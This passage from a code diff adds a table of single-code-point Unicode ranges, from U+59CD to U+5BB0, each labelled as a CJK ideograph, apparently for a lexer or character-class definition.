+ ["\u59CD", "\u59CD"], /* CJK Ideograph */
+ ["\u59CE", "\u59CE"], /* CJK Ideograph */
+ ["\u59CF", "\u59CF"], /* CJK Ideograph */
+ ["\u59D0", "\u59D0"], /* CJK Ideograph */
+ ["\u59D1", "\u59D1"], /* CJK Ideograph */
+ ["\u59D2", "\u59D2"], /* CJK Ideograph */
+ ["\u59D3", "\u59D3"], /* CJK Ideograph */
+ ["\u59D4", "\u59D4"], /* CJK Ideograph */
+ ["\u59D5", "\u59D5"], /* CJK Ideograph */
+ ["\u59D6", "\u59D6"], /* CJK Ideograph */
+ ["\u59D7", "\u59D7"], /* CJK Ideograph */
+ ["\u59D8", "\u59D8"], /* CJK Ideograph */
+ ["\u59D9", "\u59D9"], /* CJK Ideograph */
+ ["\u59DA", "\u59DA"], /* CJK Ideograph */
+ ["\u59DB", "\u59DB"], /* CJK Ideograph */
+ ["\u59DC", "\u59DC"], /* CJK Ideograph */
+ ["\u59DD", "\u59DD"], /* CJK Ideograph */
+ ["\u59DE", "\u59DE"], /* CJK Ideograph */
+ ["\u59DF", "\u59DF"], /* CJK Ideograph */
+ ["\u59E0", "\u59E0"], /* CJK Ideograph */
+ ["\u59E1", "\u59E1"], /* CJK Ideograph */
+ ["\u59E2", "\u59E2"], /* CJK Ideograph */
+ ["\u59E3", "\u59E3"], /* CJK Ideograph */
+ ["\u59E4", "\u59E4"], /* CJK Ideograph */
+ ["\u59E5", "\u59E5"], /* CJK Ideograph */
+ ["\u59E6", "\u59E6"], /* CJK Ideograph */
+ ["\u59E7", "\u59E7"], /* CJK Ideograph */
+ ["\u59E8", "\u59E8"], /* CJK Ideograph */
+ ["\u59E9", "\u59E9"], /* CJK Ideograph */
+ ["\u59EA", "\u59EA"], /* CJK Ideograph */
+ ["\u59EB", "\u59EB"], /* CJK Ideograph */
+ ["\u59EC", "\u59EC"], /* CJK Ideograph */
+ ["\u59ED", "\u59ED"], /* CJK Ideograph */
+ ["\u59EE", "\u59EE"], /* CJK Ideograph */
+ ["\u59EF", "\u59EF"], /* CJK Ideograph */
+ ["\u59F0", "\u59F0"], /* CJK Ideograph */
+ ["\u59F1", "\u59F1"], /* CJK Ideograph */
+ ["\u59F2", "\u59F2"], /* CJK Ideograph */
+ ["\u59F3", "\u59F3"], /* CJK Ideograph */
+ ["\u59F4", "\u59F4"], /* CJK Ideograph */
+ ["\u59F5", "\u59F5"], /* CJK Ideograph */
+ ["\u59F6", "\u59F6"], /* CJK Ideograph */
+ ["\u59F7", "\u59F7"], /* CJK Ideograph */
+ ["\u59F8", "\u59F8"], /* CJK Ideograph */
+ ["\u59F9", "\u59F9"], /* CJK Ideograph */
+ ["\u59FA", "\u59FA"], /* CJK Ideograph */
+ ["\u59FB", "\u59FB"], /* CJK Ideograph */
+ ["\u59FC", "\u59FC"], /* CJK Ideograph */
+ ["\u59FD", "\u59FD"], /* CJK Ideograph */
+ ["\u59FE", "\u59FE"], /* CJK Ideograph */
+ ["\u59FF", "\u59FF"], /* CJK Ideograph */
+ ["\u5A00", "\u5A00"], /* CJK Ideograph */
+ ["\u5A01", "\u5A01"], /* CJK Ideograph */
+ ["\u5A02", "\u5A02"], /* CJK Ideograph */
+ ["\u5A03", "\u5A03"], /* CJK Ideograph */
+ ["\u5A04", "\u5A04"], /* CJK Ideograph */
+ ["\u5A05", "\u5A05"], /* CJK Ideograph */
+ ["\u5A06", "\u5A06"], /* CJK Ideograph */
+ ["\u5A07", "\u5A07"], /* CJK Ideograph */
+ ["\u5A08", "\u5A08"], /* CJK Ideograph */
+ ["\u5A09", "\u5A09"], /* CJK Ideograph */
+ ["\u5A0A", "\u5A0A"], /* CJK Ideograph */
+ ["\u5A0B", "\u5A0B"], /* CJK Ideograph */
+ ["\u5A0C", "\u5A0C"], /* CJK Ideograph */
+ ["\u5A0D", "\u5A0D"], /* CJK Ideograph */
+ ["\u5A0E", "\u5A0E"], /* CJK Ideograph */
+ ["\u5A0F", "\u5A0F"], /* CJK Ideograph */
+ ["\u5A10", "\u5A10"], /* CJK Ideograph */
+ ["\u5A11", "\u5A11"], /* CJK Ideograph */
+ ["\u5A12", "\u5A12"], /* CJK Ideograph */
+ ["\u5A13", "\u5A13"], /* CJK Ideograph */
+ ["\u5A14", "\u5A14"], /* CJK Ideograph */
+ ["\u5A15", "\u5A15"], /* CJK Ideograph */
+ ["\u5A16", "\u5A16"], /* CJK Ideograph */
+ ["\u5A17", "\u5A17"], /* CJK Ideograph */
+ ["\u5A18", "\u5A18"], /* CJK Ideograph */
+ ["\u5A19", "\u5A19"], /* CJK Ideograph */
+ ["\u5A1A", "\u5A1A"], /* CJK Ideograph */
+ ["\u5A1B", "\u5A1B"], /* CJK Ideograph */
+ ["\u5A1C", "\u5A1C"], /* CJK Ideograph */
+ ["\u5A1D", "\u5A1D"], /* CJK Ideograph */
+ ["\u5A1E", "\u5A1E"], /* CJK Ideograph */
+ ["\u5A1F", "\u5A1F"], /* CJK Ideograph */
+ ["\u5A20", "\u5A20"], /* CJK Ideograph */
+ ["\u5A21", "\u5A21"], /* CJK Ideograph */
+ ["\u5A22", "\u5A22"], /* CJK Ideograph */
+ ["\u5A23", "\u5A23"], /* CJK Ideograph */
+ ["\u5A24", "\u5A24"], /* CJK Ideograph */
+ ["\u5A25", "\u5A25"], /* CJK Ideograph */
+ ["\u5A26", "\u5A26"], /* CJK Ideograph */
+ ["\u5A27", "\u5A27"], /* CJK Ideograph */
+ ["\u5A28", "\u5A28"], /* CJK Ideograph */
+ ["\u5A29", "\u5A29"], /* CJK Ideograph */
+ ["\u5A2A", "\u5A2A"], /* CJK Ideograph */
+ ["\u5A2B", "\u5A2B"], /* CJK Ideograph */
+ ["\u5A2C", "\u5A2C"], /* CJK Ideograph */
+ ["\u5A2D", "\u5A2D"], /* CJK Ideograph */
+ ["\u5A2E", "\u5A2E"], /* CJK Ideograph */
+ ["\u5A2F", "\u5A2F"], /* CJK Ideograph */
+ ["\u5A30", "\u5A30"], /* CJK Ideograph */
+ ["\u5A31", "\u5A31"], /* CJK Ideograph */
+ ["\u5A32", "\u5A32"], /* CJK Ideograph */
+ ["\u5A33", "\u5A33"], /* CJK Ideograph */
+ ["\u5A34", "\u5A34"], /* CJK Ideograph */
+ ["\u5A35", "\u5A35"], /* CJK Ideograph */
+ ["\u5A36", "\u5A36"], /* CJK Ideograph */
+ ["\u5A37", "\u5A37"], /* CJK Ideograph */
+ ["\u5A38", "\u5A38"], /* CJK Ideograph */
+ ["\u5A39", "\u5A39"], /* CJK Ideograph */
+ ["\u5A3A", "\u5A3A"], /* CJK Ideograph */
+ ["\u5A3B", "\u5A3B"], /* CJK Ideograph */
+ ["\u5A3C", "\u5A3C"], /* CJK Ideograph */
+ ["\u5A3D", "\u5A3D"], /* CJK Ideograph */
+ ["\u5A3E", "\u5A3E"], /* CJK Ideograph */
+ ["\u5A3F", "\u5A3F"], /* CJK Ideograph */
+ ["\u5A40", "\u5A40"], /* CJK Ideograph */
+ ["\u5A41", "\u5A41"], /* CJK Ideograph */
+ ["\u5A42", "\u5A42"], /* CJK Ideograph */
+ ["\u5A43", "\u5A43"], /* CJK Ideograph */
+ ["\u5A44", "\u5A44"], /* CJK Ideograph */
+ ["\u5A45", "\u5A45"], /* CJK Ideograph */
+ ["\u5A46", "\u5A46"], /* CJK Ideograph */
+ ["\u5A47", "\u5A47"], /* CJK Ideograph */
+ ["\u5A48", "\u5A48"], /* CJK Ideograph */
+ ["\u5A49", "\u5A49"], /* CJK Ideograph */
+ ["\u5A4A", "\u5A4A"], /* CJK Ideograph */
+ ["\u5A4B", "\u5A4B"], /* CJK Ideograph */
+ ["\u5A4C", "\u5A4C"], /* CJK Ideograph */
+ ["\u5A4D", "\u5A4D"], /* CJK Ideograph */
+ ["\u5A4E", "\u5A4E"], /* CJK Ideograph */
+ ["\u5A4F", "\u5A4F"], /* CJK Ideograph */
+ ["\u5A50", "\u5A50"], /* CJK Ideograph */
+ ["\u5A51", "\u5A51"], /* CJK Ideograph */
+ ["\u5A52", "\u5A52"], /* CJK Ideograph */
+ ["\u5A53", "\u5A53"], /* CJK Ideograph */
+ ["\u5A54", "\u5A54"], /* CJK Ideograph */
+ ["\u5A55", "\u5A55"], /* CJK Ideograph */
+ ["\u5A56", "\u5A56"], /* CJK Ideograph */
+ ["\u5A57", "\u5A57"], /* CJK Ideograph */
+ ["\u5A58", "\u5A58"], /* CJK Ideograph */
+ ["\u5A59", "\u5A59"], /* CJK Ideograph */
+ ["\u5A5A", "\u5A5A"], /* CJK Ideograph */
+ ["\u5A5B", "\u5A5B"], /* CJK Ideograph */
+ ["\u5A5C", "\u5A5C"], /* CJK Ideograph */
+ ["\u5A5D", "\u5A5D"], /* CJK Ideograph */
+ ["\u5A5E", "\u5A5E"], /* CJK Ideograph */
+ ["\u5A5F", "\u5A5F"], /* CJK Ideograph */
+ ["\u5A60", "\u5A60"], /* CJK Ideograph */
+ ["\u5A61", "\u5A61"], /* CJK Ideograph */
+ ["\u5A62", "\u5A62"], /* CJK Ideograph */
+ ["\u5A63", "\u5A63"], /* CJK Ideograph */
+ ["\u5A64", "\u5A64"], /* CJK Ideograph */
+ ["\u5A65", "\u5A65"], /* CJK Ideograph */
+ ["\u5A66", "\u5A66"], /* CJK Ideograph */
+ ["\u5A67", "\u5A67"], /* CJK Ideograph */
+ ["\u5A68", "\u5A68"], /* CJK Ideograph */
+ ["\u5A69", "\u5A69"], /* CJK Ideograph */
+ ["\u5A6A", "\u5A6A"], /* CJK Ideograph */
+ ["\u5A6B", "\u5A6B"], /* CJK Ideograph */
+ ["\u5A6C", "\u5A6C"], /* CJK Ideograph */
+ ["\u5A6D", "\u5A6D"], /* CJK Ideograph */
+ ["\u5A6E", "\u5A6E"], /* CJK Ideograph */
+ ["\u5A6F", "\u5A6F"], /* CJK Ideograph */
+ ["\u5A70", "\u5A70"], /* CJK Ideograph */
+ ["\u5A71", "\u5A71"], /* CJK Ideograph */
+ ["\u5A72", "\u5A72"], /* CJK Ideograph */
+ ["\u5A73", "\u5A73"], /* CJK Ideograph */
+ ["\u5A74", "\u5A74"], /* CJK Ideograph */
+ ["\u5A75", "\u5A75"], /* CJK Ideograph */
+ ["\u5A76", "\u5A76"], /* CJK Ideograph */
+ ["\u5A77", "\u5A77"], /* CJK Ideograph */
+ ["\u5A78", "\u5A78"], /* CJK Ideograph */
+ ["\u5A79", "\u5A79"], /* CJK Ideograph */
+ ["\u5A7A", "\u5A7A"], /* CJK Ideograph */
+ ["\u5A7B", "\u5A7B"], /* CJK Ideograph */
+ ["\u5A7C", "\u5A7C"], /* CJK Ideograph */
+ ["\u5A7D", "\u5A7D"], /* CJK Ideograph */
+ ["\u5A7E", "\u5A7E"], /* CJK Ideograph */
+ ["\u5A7F", "\u5A7F"], /* CJK Ideograph */
+ ["\u5A80", "\u5A80"], /* CJK Ideograph */
+ ["\u5A81", "\u5A81"], /* CJK Ideograph */
+ ["\u5A82", "\u5A82"], /* CJK Ideograph */
+ ["\u5A83", "\u5A83"], /* CJK Ideograph */
+ ["\u5A84", "\u5A84"], /* CJK Ideograph */
+ ["\u5A85", "\u5A85"], /* CJK Ideograph */
+ ["\u5A86", "\u5A86"], /* CJK Ideograph */
+ ["\u5A87", "\u5A87"], /* CJK Ideograph */
+ ["\u5A88", "\u5A88"], /* CJK Ideograph */
+ ["\u5A89", "\u5A89"], /* CJK Ideograph */
+ ["\u5A8A", "\u5A8A"], /* CJK Ideograph */
+ ["\u5A8B", "\u5A8B"], /* CJK Ideograph */
+ ["\u5A8C", "\u5A8C"], /* CJK Ideograph */
+ ["\u5A8D", "\u5A8D"], /* CJK Ideograph */
+ ["\u5A8E", "\u5A8E"], /* CJK Ideograph */
+ ["\u5A8F", "\u5A8F"], /* CJK Ideograph */
+ ["\u5A90", "\u5A90"], /* CJK Ideograph */
+ ["\u5A91", "\u5A91"], /* CJK Ideograph */
+ ["\u5A92", "\u5A92"], /* CJK Ideograph */
+ ["\u5A93", "\u5A93"], /* CJK Ideograph */
+ ["\u5A94", "\u5A94"], /* CJK Ideograph */
+ ["\u5A95", "\u5A95"], /* CJK Ideograph */
+ ["\u5A96", "\u5A96"], /* CJK Ideograph */
+ ["\u5A97", "\u5A97"], /* CJK Ideograph */
+ ["\u5A98", "\u5A98"], /* CJK Ideograph */
+ ["\u5A99", "\u5A99"], /* CJK Ideograph */
+ ["\u5A9A", "\u5A9A"], /* CJK Ideograph */
+ ["\u5A9B", "\u5A9B"], /* CJK Ideograph */
+ ["\u5A9C", "\u5A9C"], /* CJK Ideograph */
+ ["\u5A9D", "\u5A9D"], /* CJK Ideograph */
+ ["\u5A9E", "\u5A9E"], /* CJK Ideograph */
+ ["\u5A9F", "\u5A9F"], /* CJK Ideograph */
+ ["\u5AA0", "\u5AA0"], /* CJK Ideograph */
+ ["\u5AA1", "\u5AA1"], /* CJK Ideograph */
+ ["\u5AA2", "\u5AA2"], /* CJK Ideograph */
+ ["\u5AA3", "\u5AA3"], /* CJK Ideograph */
+ ["\u5AA4", "\u5AA4"], /* CJK Ideograph */
+ ["\u5AA5", "\u5AA5"], /* CJK Ideograph */
+ ["\u5AA6", "\u5AA6"], /* CJK Ideograph */
+ ["\u5AA7", "\u5AA7"], /* CJK Ideograph */
+ ["\u5AA8", "\u5AA8"], /* CJK Ideograph */
+ ["\u5AA9", "\u5AA9"], /* CJK Ideograph */
+ ["\u5AAA", "\u5AAA"], /* CJK Ideograph */
+ ["\u5AAB", "\u5AAB"], /* CJK Ideograph */
+ ["\u5AAC", "\u5AAC"], /* CJK Ideograph */
+ ["\u5AAD", "\u5AAD"], /* CJK Ideograph */
+ ["\u5AAE", "\u5AAE"], /* CJK Ideograph */
+ ["\u5AAF", "\u5AAF"], /* CJK Ideograph */
+ ["\u5AB0", "\u5AB0"], /* CJK Ideograph */
+ ["\u5AB1", "\u5AB1"], /* CJK Ideograph */
+ ["\u5AB2", "\u5AB2"], /* CJK Ideograph */
+ ["\u5AB3", "\u5AB3"], /* CJK Ideograph */
+ ["\u5AB4", "\u5AB4"], /* CJK Ideograph */
+ ["\u5AB5", "\u5AB5"], /* CJK Ideograph */
+ ["\u5AB6", "\u5AB6"], /* CJK Ideograph */
+ ["\u5AB7", "\u5AB7"], /* CJK Ideograph */
+ ["\u5AB8", "\u5AB8"], /* CJK Ideograph */
+ ["\u5AB9", "\u5AB9"], /* CJK Ideograph */
+ ["\u5ABA", "\u5ABA"], /* CJK Ideograph */
+ ["\u5ABB", "\u5ABB"], /* CJK Ideograph */
+ ["\u5ABC", "\u5ABC"], /* CJK Ideograph */
+ ["\u5ABD", "\u5ABD"], /* CJK Ideograph */
+ ["\u5ABE", "\u5ABE"], /* CJK Ideograph */
+ ["\u5ABF", "\u5ABF"], /* CJK Ideograph */
+ ["\u5AC0", "\u5AC0"], /* CJK Ideograph */
+ ["\u5AC1", "\u5AC1"], /* CJK Ideograph */
+ ["\u5AC2", "\u5AC2"], /* CJK Ideograph */
+ ["\u5AC3", "\u5AC3"], /* CJK Ideograph */
+ ["\u5AC4", "\u5AC4"], /* CJK Ideograph */
+ ["\u5AC5", "\u5AC5"], /* CJK Ideograph */
+ ["\u5AC6", "\u5AC6"], /* CJK Ideograph */
+ ["\u5AC7", "\u5AC7"], /* CJK Ideograph */
+ ["\u5AC8", "\u5AC8"], /* CJK Ideograph */
+ ["\u5AC9", "\u5AC9"], /* CJK Ideograph */
+ ["\u5ACA", "\u5ACA"], /* CJK Ideograph */
+ ["\u5ACB", "\u5ACB"], /* CJK Ideograph */
+ ["\u5ACC", "\u5ACC"], /* CJK Ideograph */
+ ["\u5ACD", "\u5ACD"], /* CJK Ideograph */
+ ["\u5ACE", "\u5ACE"], /* CJK Ideograph */
+ ["\u5ACF", "\u5ACF"], /* CJK Ideograph */
+ ["\u5AD0", "\u5AD0"], /* CJK Ideograph */
+ ["\u5AD1", "\u5AD1"], /* CJK Ideograph */
+ ["\u5AD2", "\u5AD2"], /* CJK Ideograph */
+ ["\u5AD3", "\u5AD3"], /* CJK Ideograph */
+ ["\u5AD4", "\u5AD4"], /* CJK Ideograph */
+ ["\u5AD5", "\u5AD5"], /* CJK Ideograph */
+ ["\u5AD6", "\u5AD6"], /* CJK Ideograph */
+ ["\u5AD7", "\u5AD7"], /* CJK Ideograph */
+ ["\u5AD8", "\u5AD8"], /* CJK Ideograph */
+ ["\u5AD9", "\u5AD9"], /* CJK Ideograph */
+ ["\u5ADA", "\u5ADA"], /* CJK Ideograph */
+ ["\u5ADB", "\u5ADB"], /* CJK Ideograph */
+ ["\u5ADC", "\u5ADC"], /* CJK Ideograph */
+ ["\u5ADD", "\u5ADD"], /* CJK Ideograph */
+ ["\u5ADE", "\u5ADE"], /* CJK Ideograph */
+ ["\u5ADF", "\u5ADF"], /* CJK Ideograph */
+ ["\u5AE0", "\u5AE0"], /* CJK Ideograph */
+ ["\u5AE1", "\u5AE1"], /* CJK Ideograph */
+ ["\u5AE2", "\u5AE2"], /* CJK Ideograph */
+ ["\u5AE3", "\u5AE3"], /* CJK Ideograph */
+ ["\u5AE4", "\u5AE4"], /* CJK Ideograph */
+ ["\u5AE5", "\u5AE5"], /* CJK Ideograph */
+ ["\u5AE6", "\u5AE6"], /* CJK Ideograph */
+ ["\u5AE7", "\u5AE7"], /* CJK Ideograph */
+ ["\u5AE8", "\u5AE8"], /* CJK Ideograph */
+ ["\u5AE9", "\u5AE9"], /* CJK Ideograph */
+ ["\u5AEA", "\u5AEA"], /* CJK Ideograph */
+ ["\u5AEB", "\u5AEB"], /* CJK Ideograph */
+ ["\u5AEC", "\u5AEC"], /* CJK Ideograph */
+ ["\u5AED", "\u5AED"], /* CJK Ideograph */
+ ["\u5AEE", "\u5AEE"], /* CJK Ideograph */
+ ["\u5AEF", "\u5AEF"], /* CJK Ideograph */
+ ["\u5AF0", "\u5AF0"], /* CJK Ideograph */
+ ["\u5AF1", "\u5AF1"], /* CJK Ideograph */
+ ["\u5AF2", "\u5AF2"], /* CJK Ideograph */
+ ["\u5AF3", "\u5AF3"], /* CJK Ideograph */
+ ["\u5AF4", "\u5AF4"], /* CJK Ideograph */
+ ["\u5AF5", "\u5AF5"], /* CJK Ideograph */
+ ["\u5AF6", "\u5AF6"], /* CJK Ideograph */
+ ["\u5AF7", "\u5AF7"], /* CJK Ideograph */
+ ["\u5AF8", "\u5AF8"], /* CJK Ideograph */
+ ["\u5AF9", "\u5AF9"], /* CJK Ideograph */
+ ["\u5AFA", "\u5AFA"], /* CJK Ideograph */
+ ["\u5AFB", "\u5AFB"], /* CJK Ideograph */
+ ["\u5AFC", "\u5AFC"], /* CJK Ideograph */
+ ["\u5AFD", "\u5AFD"], /* CJK Ideograph */
+ ["\u5AFE", "\u5AFE"], /* CJK Ideograph */
+ ["\u5AFF", "\u5AFF"], /* CJK Ideograph */
+ ["\u5B00", "\u5B00"], /* CJK Ideograph */
+ ["\u5B01", "\u5B01"], /* CJK Ideograph */
+ ["\u5B02", "\u5B02"], /* CJK Ideograph */
+ ["\u5B03", "\u5B03"], /* CJK Ideograph */
+ ["\u5B04", "\u5B04"], /* CJK Ideograph */
+ ["\u5B05", "\u5B05"], /* CJK Ideograph */
+ ["\u5B06", "\u5B06"], /* CJK Ideograph */
+ ["\u5B07", "\u5B07"], /* CJK Ideograph */
+ ["\u5B08", "\u5B08"], /* CJK Ideograph */
+ ["\u5B09", "\u5B09"], /* CJK Ideograph */
+ ["\u5B0A", "\u5B0A"], /* CJK Ideograph */
+ ["\u5B0B", "\u5B0B"], /* CJK Ideograph */
+ ["\u5B0C", "\u5B0C"], /* CJK Ideograph */
+ ["\u5B0D", "\u5B0D"], /* CJK Ideograph */
+ ["\u5B0E", "\u5B0E"], /* CJK Ideograph */
+ ["\u5B0F", "\u5B0F"], /* CJK Ideograph */
+ ["\u5B10", "\u5B10"], /* CJK Ideograph */
+ ["\u5B11", "\u5B11"], /* CJK Ideograph */
+ ["\u5B12", "\u5B12"], /* CJK Ideograph */
+ ["\u5B13", "\u5B13"], /* CJK Ideograph */
+ ["\u5B14", "\u5B14"], /* CJK Ideograph */
+ ["\u5B15", "\u5B15"], /* CJK Ideograph */
+ ["\u5B16", "\u5B16"], /* CJK Ideograph */
+ ["\u5B17", "\u5B17"], /* CJK Ideograph */
+ ["\u5B18", "\u5B18"], /* CJK Ideograph */
+ ["\u5B19", "\u5B19"], /* CJK Ideograph */
+ ["\u5B1A", "\u5B1A"], /* CJK Ideograph */
+ ["\u5B1B", "\u5B1B"], /* CJK Ideograph */
+ ["\u5B1C", "\u5B1C"], /* CJK Ideograph */
+ ["\u5B1D", "\u5B1D"], /* CJK Ideograph */
+ ["\u5B1E", "\u5B1E"], /* CJK Ideograph */
+ ["\u5B1F", "\u5B1F"], /* CJK Ideograph */
+ ["\u5B20", "\u5B20"], /* CJK Ideograph */
+ ["\u5B21", "\u5B21"], /* CJK Ideograph */
+ ["\u5B22", "\u5B22"], /* CJK Ideograph */
+ ["\u5B23", "\u5B23"], /* CJK Ideograph */
+ ["\u5B24", "\u5B24"], /* CJK Ideograph */
+ ["\u5B25", "\u5B25"], /* CJK Ideograph */
+ ["\u5B26", "\u5B26"], /* CJK Ideograph */
+ ["\u5B27", "\u5B27"], /* CJK Ideograph */
+ ["\u5B28", "\u5B28"], /* CJK Ideograph */
+ ["\u5B29", "\u5B29"], /* CJK Ideograph */
+ ["\u5B2A", "\u5B2A"], /* CJK Ideograph */
+ ["\u5B2B", "\u5B2B"], /* CJK Ideograph */
+ ["\u5B2C", "\u5B2C"], /* CJK Ideograph */
+ ["\u5B2D", "\u5B2D"], /* CJK Ideograph */
+ ["\u5B2E", "\u5B2E"], /* CJK Ideograph */
+ ["\u5B2F", "\u5B2F"], /* CJK Ideograph */
+ ["\u5B30", "\u5B30"], /* CJK Ideograph */
+ ["\u5B31", "\u5B31"], /* CJK Ideograph */
+ ["\u5B32", "\u5B32"], /* CJK Ideograph */
+ ["\u5B33", "\u5B33"], /* CJK Ideograph */
+ ["\u5B34", "\u5B34"], /* CJK Ideograph */
+ ["\u5B35", "\u5B35"], /* CJK Ideograph */
+ ["\u5B36", "\u5B36"], /* CJK Ideograph */
+ ["\u5B37", "\u5B37"], /* CJK Ideograph */
+ ["\u5B38", "\u5B38"], /* CJK Ideograph */
+ ["\u5B39", "\u5B39"], /* CJK Ideograph */
+ ["\u5B3A", "\u5B3A"], /* CJK Ideograph */
+ ["\u5B3B", "\u5B3B"], /* CJK Ideograph */
+ ["\u5B3C", "\u5B3C"], /* CJK Ideograph */
+ ["\u5B3D", "\u5B3D"], /* CJK Ideograph */
+ ["\u5B3E", "\u5B3E"], /* CJK Ideograph */
+ ["\u5B3F", "\u5B3F"], /* CJK Ideograph */
+ ["\u5B40", "\u5B40"], /* CJK Ideograph */
+ ["\u5B41", "\u5B41"], /* CJK Ideograph */
+ ["\u5B42", "\u5B42"], /* CJK Ideograph */
+ ["\u5B43", "\u5B43"], /* CJK Ideograph */
+ ["\u5B44", "\u5B44"], /* CJK Ideograph */
+ ["\u5B45", "\u5B45"], /* CJK Ideograph */
+ ["\u5B46", "\u5B46"], /* CJK Ideograph */
+ ["\u5B47", "\u5B47"], /* CJK Ideograph */
+ ["\u5B48", "\u5B48"], /* CJK Ideograph */
+ ["\u5B49", "\u5B49"], /* CJK Ideograph */
+ ["\u5B4A", "\u5B4A"], /* CJK Ideograph */
+ ["\u5B4B", "\u5B4B"], /* CJK Ideograph */
+ ["\u5B4C", "\u5B4C"], /* CJK Ideograph */
+ ["\u5B4D", "\u5B4D"], /* CJK Ideograph */
+ ["\u5B4E", "\u5B4E"], /* CJK Ideograph */
+ ["\u5B4F", "\u5B4F"], /* CJK Ideograph */
+ ["\u5B50", "\u5B50"], /* CJK Ideograph */
+ ["\u5B51", "\u5B51"], /* CJK Ideograph */
+ ["\u5B52", "\u5B52"], /* CJK Ideograph */
+ ["\u5B53", "\u5B53"], /* CJK Ideograph */
+ ["\u5B54", "\u5B54"], /* CJK Ideograph */
+ ["\u5B55", "\u5B55"], /* CJK Ideograph */
+ ["\u5B56", "\u5B56"], /* CJK Ideograph */
+ ["\u5B57", "\u5B57"], /* CJK Ideograph */
+ ["\u5B58", "\u5B58"], /* CJK Ideograph */
+ ["\u5B59", "\u5B59"], /* CJK Ideograph */
+ ["\u5B5A", "\u5B5A"], /* CJK Ideograph */
+ ["\u5B5B", "\u5B5B"], /* CJK Ideograph */
+ ["\u5B5C", "\u5B5C"], /* CJK Ideograph */
+ ["\u5B5D", "\u5B5D"], /* CJK Ideograph */
+ ["\u5B5E", "\u5B5E"], /* CJK Ideograph */
+ ["\u5B5F", "\u5B5F"], /* CJK Ideograph */
+ ["\u5B60", "\u5B60"], /* CJK Ideograph */
+ ["\u5B61", "\u5B61"], /* CJK Ideograph */
+ ["\u5B62", "\u5B62"], /* CJK Ideograph */
+ ["\u5B63", "\u5B63"], /* CJK Ideograph */
+ ["\u5B64", "\u5B64"], /* CJK Ideograph */
+ ["\u5B65", "\u5B65"], /* CJK Ideograph */
+ ["\u5B66", "\u5B66"], /* CJK Ideograph */
+ ["\u5B67", "\u5B67"], /* CJK Ideograph */
+ ["\u5B68", "\u5B68"], /* CJK Ideograph */
+ ["\u5B69", "\u5B69"], /* CJK Ideograph */
+ ["\u5B6A", "\u5B6A"], /* CJK Ideograph */
+ ["\u5B6B", "\u5B6B"], /* CJK Ideograph */
+ ["\u5B6C", "\u5B6C"], /* CJK Ideograph */
+ ["\u5B6D", "\u5B6D"], /* CJK Ideograph */
+ ["\u5B6E", "\u5B6E"], /* CJK Ideograph */
+ ["\u5B6F", "\u5B6F"], /* CJK Ideograph */
+ ["\u5B70", "\u5B70"], /* CJK Ideograph */
+ ["\u5B71", "\u5B71"], /* CJK Ideograph */
+ ["\u5B72", "\u5B72"], /* CJK Ideograph */
+ ["\u5B73", "\u5B73"], /* CJK Ideograph */
+ ["\u5B74", "\u5B74"], /* CJK Ideograph */
+ ["\u5B75", "\u5B75"], /* CJK Ideograph */
+ ["\u5B76", "\u5B76"], /* CJK Ideograph */
+ ["\u5B77", "\u5B77"], /* CJK Ideograph */
+ ["\u5B78", "\u5B78"], /* CJK Ideograph */
+ ["\u5B79", "\u5B79"], /* CJK Ideograph */
+ ["\u5B7A", "\u5B7A"], /* CJK Ideograph */
+ ["\u5B7B", "\u5B7B"], /* CJK Ideograph */
+ ["\u5B7C", "\u5B7C"], /* CJK Ideograph */
+ ["\u5B7D", "\u5B7D"], /* CJK Ideograph */
+ ["\u5B7E", "\u5B7E"], /* CJK Ideograph */
+ ["\u5B7F", "\u5B7F"], /* CJK Ideograph */
+ ["\u5B80", "\u5B80"], /* CJK Ideograph */
+ ["\u5B81", "\u5B81"], /* CJK Ideograph */
+ ["\u5B82", "\u5B82"], /* CJK Ideograph */
+ ["\u5B83", "\u5B83"], /* CJK Ideograph */
+ ["\u5B84", "\u5B84"], /* CJK Ideograph */
+ ["\u5B85", "\u5B85"], /* CJK Ideograph */
+ ["\u5B86", "\u5B86"], /* CJK Ideograph */
+ ["\u5B87", "\u5B87"], /* CJK Ideograph */
+ ["\u5B88", "\u5B88"], /* CJK Ideograph */
+ ["\u5B89", "\u5B89"], /* CJK Ideograph */
+ ["\u5B8A", "\u5B8A"], /* CJK Ideograph */
+ ["\u5B8B", "\u5B8B"], /* CJK Ideograph */
+ ["\u5B8C", "\u5B8C"], /* CJK Ideograph */
+ ["\u5B8D", "\u5B8D"], /* CJK Ideograph */
+ ["\u5B8E", "\u5B8E"], /* CJK Ideograph */
+ ["\u5B8F", "\u5B8F"], /* CJK Ideograph */
+ ["\u5B90", "\u5B90"], /* CJK Ideograph */
+ ["\u5B91", "\u5B91"], /* CJK Ideograph */
+ ["\u5B92", "\u5B92"], /* CJK Ideograph */
+ ["\u5B93", "\u5B93"], /* CJK Ideograph */
+ ["\u5B94", "\u5B94"], /* CJK Ideograph */
+ ["\u5B95", "\u5B95"], /* CJK Ideograph */
+ ["\u5B96", "\u5B96"], /* CJK Ideograph */
+ ["\u5B97", "\u5B97"], /* CJK Ideograph */
+ ["\u5B98", "\u5B98"], /* CJK Ideograph */
+ ["\u5B99", "\u5B99"], /* CJK Ideograph */
+ ["\u5B9A", "\u5B9A"], /* CJK Ideograph */
+ ["\u5B9B", "\u5B9B"], /* CJK Ideograph */
+ ["\u5B9C", "\u5B9C"], /* CJK Ideograph */
+ ["\u5B9D", "\u5B9D"], /* CJK Ideograph */
+ ["\u5B9E", "\u5B9E"], /* CJK Ideograph */
+ ["\u5B9F", "\u5B9F"], /* CJK Ideograph */
+ ["\u5BA0", "\u5BA0"], /* CJK Ideograph */
+ ["\u5BA1", "\u5BA1"], /* CJK Ideograph */
+ ["\u5BA2", "\u5BA2"], /* CJK Ideograph */
+ ["\u5BA3", "\u5BA3"], /* CJK Ideograph */
+ ["\u5BA4", "\u5BA4"], /* CJK Ideograph */
+ ["\u5BA5", "\u5BA5"], /* CJK Ideograph */
+ ["\u5BA6", "\u5BA6"], /* CJK Ideograph */
+ ["\u5BA7", "\u5BA7"], /* CJK Ideograph */
+ ["\u5BA8", "\u5BA8"], /* CJK Ideograph */
+ ["\u5BA9", "\u5BA9"], /* CJK Ideograph */
+ ["\u5BAA", "\u5BAA"], /* CJK Ideograph */
+ ["\u5BAB", "\u5BAB"], /* CJK Ideograph */
+ ["\u5BAC", "\u5BAC"], /* CJK Ideograph */
+ ["\u5BAD", "\u5BAD"], /* CJK Ideograph */
+ ["\u5BAE", "\u5BAE"], /* CJK Ideograph */
+ ["\u5BAF", "\u5BAF"], /* CJK Ideograph */
+ ["\u5BB0", "\u5BB0"], /* CJK Ideograph */
